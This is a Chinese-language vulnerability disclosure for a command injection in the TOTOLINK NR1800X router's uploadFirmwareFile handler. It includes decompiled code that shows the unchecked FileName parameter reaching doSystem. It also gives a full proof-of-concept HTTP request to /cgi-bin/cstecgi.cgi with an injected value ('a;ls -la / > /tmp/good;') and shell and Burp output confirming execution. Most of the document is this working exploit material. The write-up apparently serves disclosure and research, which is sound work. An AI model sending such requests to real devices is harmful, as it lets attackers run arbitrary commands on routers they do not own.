

命令注入

品牌:totoLink

产品型号:NR1800X

版本: V9.1.0u.6681_B20230703

由于没有真实设备所以我将二进制文件进行了patch，一般情况通过cookie之后才可以进行栈溢出，这里我们需要模拟对应的参数，这里厂商对UploadFirmwareFile进行了strip的动作

这里没有对用户传参进行校验直接拼接到system中

```
64  int v64; // [sp+204h] [-A0h]
65  _BYTE v65[52]; // [sp+268h] [-9Ch] BYREF
66  int v66; // [sp+29Ch] [-68h]
67
68  memset(v44, 0, sizeof(v44));
69  Var = websGetVar(a1, "FileName", (int)&byte_43F798);
70  websGetVar(a1, "FullName", (int)&byte_43F798);
71  v3 = websGetVar(a1, "ContentLength", (int)&byte_43D950);
72  Object = cJSON_CreateObject();
73  v5 = strtol(v3, 0, 10) + 1;
74  strcpy(v44, "/tmp/myImage.img");
75  doSystem("mv %s %s", Var, v44);
76  if ( v5 < 0x8000 )
```

POC

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1

Host: 192.168.0.2

Content-Length: 117

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.0.2
```

Referer: http://192.168.0.2/login.html

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

Connection: close

{"topicurl":"uploadFirmwareFile",

"FileName":"a;ls -la / > /tmp/good;",

"FullName":"0",

"ContentLengthh":"2000"

}

```
cookie_key      lktos.domain    oftest2.sh      up_id
rpc_url         login_auth      overflow.txt     up_inj
l_out          ls_proof        proof           uplfw_proof
tmp # rm -rf u*
tmp # ls
append_test     f1_out          login_auth      oftest2.sh
cgi_gdb_wrap.sh fn2             ls_proof        overflow.txt
chroot_inj      gdb_test.sh     n1.txt          proof
cmdfile         gdbserver       normal.txt      rw_test
cookie_key      h_inj           o1.txt          test_direct
rpc_url         lktos.domain    oftest.sh       token_uptime
tmp #
```

```
/tmp # ls
append_test     f1_out          login_auth      of
cgi_gdb_wrap.sh fn2             ls_proof        ov
chroot_inj      gdb_test.sh     n1.txt          pr
cmdfile         gdbserver       normal.txt      rw
cookie_key      h_inj           o1.txt          te
rpc_url         lktos.domain    oftest.sh       to
/tmp # ls
append_test     fn2             ls_proof        pr
cgi_gdb_wrap.sh gdb_test.sh     n1.txt          rw
chroot_inj      gdbserver       normal.txt      te
cmdfile         good            o1.txt          to
cookie_key      h_inj           oftest.sh
rpc_url         lktos.domain    oftest2.sh
f1_out          login_auth      overflow.txt
/tmp #
```

Send Cancel < >

Request

Pretty Raw Hex

```
1 POST /cgi-bin/cstecgi.cgi HTTP/1.1
2 Host: 192.168.0.2
3 Content-Length: 117
4 Accept: application/json,
  text/javascript, */*; q=0.01
5 X-Requested-With: XMLHttpRequest
6 User-Agent: Mozilla/5.0 (Windows NT
  10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko)
  Chrome/120.0.6099.71 Safari/537.36
7 Content-Type:
  application/x-www-form-urlencoded;
  charset=UTF-8
8 Origin: http://192.168.0.2
9 Referer: http://192.168.0.2/login.html
10 Accept-Encoding: gzip, deflate, br
11 Accept-Language: en-US,en;q=0.9
12 Connection: close
13
14 {
15   "topicurl":"uploadFirmwareFile",
16   "FileName":"a;ls -la / > /tmp/good;",
17   "FullName":"0",
18   "ContentLengthh":"2000"
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Connection: close
3 Date: Wed, 15 Jul 2026 10:18:50 GMT
4 Server: lighttpd/1.4.20
5 Content-Length: 37
6
7 {
8   "upgradeError":"MM_FwFileInvalid"
9 }
```